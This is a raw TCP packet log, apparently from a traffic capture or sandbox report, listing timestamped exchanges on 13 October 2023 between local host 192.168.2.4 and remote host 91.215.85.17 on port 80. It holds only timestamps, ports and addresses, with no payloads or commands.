Oct 13, 2023 16:06:19.679378986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679425955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679462910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.679491997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679573059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679609060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.679656029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679754019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679784060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.679795980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679863930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679898977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.679918051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.679970026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680006027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.680012941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680074930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680149078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.680169106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680248022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680285931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.680320978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680427074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680459023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.680473089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680531025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680551052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680567980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.680608034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680644989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.680663109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680716991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680751085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.680804968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680860996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680879116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.680893898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.680986881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681031942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681039095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.681077003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681116104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.681133032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681199074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681235075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.681263924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681327105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681360960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.681369066 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681389093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681473970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681500912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.681528091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681561947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.681581974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681636095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681669950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.681690931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681756020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681777954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681791067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.681832075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681865931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.681894064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.681955099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682010889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682051897 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.682071924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682111979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682115078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.682192087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682224035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.682269096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682362080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682395935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.682424068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682468891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682502985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.682531118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682612896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682631016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682651043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.682760000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682796955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.682815075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682883024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682904005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.682924032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.683098078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683135986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.683156013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683232069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683268070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.683276892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683311939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683346987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.683410883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683495045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683531046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.683557987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683641911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683676958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.683703899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683741093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683773994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.683819056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683890104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.683923960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.683950901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684015989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684051037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.684067011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684127092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684144020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684210062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684256077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.684268951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.684284925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684334993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684408903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684427023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684432030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.684467077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.684484005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684564114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684598923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.684621096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684700012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684732914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.684762001 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684799910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684830904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.684851885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684931993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.684968948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.685013056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685060024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685094118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.685095072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685167074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685201883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.685229063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685250998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685286999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.685331106 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685405016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685421944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685439110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.685481071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685511112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.685595036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685647011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685682058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.685698986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685733080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685767889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.685796022 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685854912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685899973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.685914993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.685971975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686007977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.686034918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686101913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686134100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.686161995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686250925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686285973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.686305046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686368942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686404943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.686419964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686448097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686484098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.686512947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686582088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686616898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.686659098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686752081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686788082 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.686791897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686858892 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686893940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.686929941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686968088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.686989069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687007904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.687103987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687124014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687144995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.687180996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687213898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.687226057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687289000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687321901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687323093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.687385082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687419891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.687433004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687509060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687542915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.687591076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687655926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687679052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687697887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687697887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.687735081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.687803984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687827110 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687860012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.687896967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.687993050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688033104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.688036919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688091040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688127995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.688148975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688205004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688240051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.688277006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688344955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688376904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.688446045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688489914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.688493013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688533068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.688553095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688590050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.688626051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688657999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.688755989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688790083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.688862085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688894987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.688913107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.688951015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689021111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689055920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689075947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689112902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689147949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689177990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689198017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689237118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689295053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689333916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689340115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689377069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689397097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689433098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689449072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689485073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689502954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689537048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689574003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689605951 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689620972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689660072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689706087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689726114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689745903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689754963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689800024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689836025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689853907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689888954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689923048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.689955950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.689968109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690006018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690010071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690041065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690119028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690160990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690169096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690213919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690249920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690300941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690325022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690335989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690361023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690397024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690398932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690438032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690473080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690517902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690531969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690567017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690573931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690607071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690656900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690711975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690733910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690766096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690804958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690836906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690839052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690871000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690916061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690949917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.690956116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.690989017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691011906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691030025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691046953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691060066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691114902 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691149950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691157103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691194057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691212893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691243887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691277981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691308975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691335917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691368103 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691369057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691404104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691448927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691467047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691484928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691497087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691529989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691564083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691565037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691598892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691639900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691675901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691689014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691721916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691766024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.691797018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.691826105 CEST	80	49762	91.215.85.17	192.168.2.4
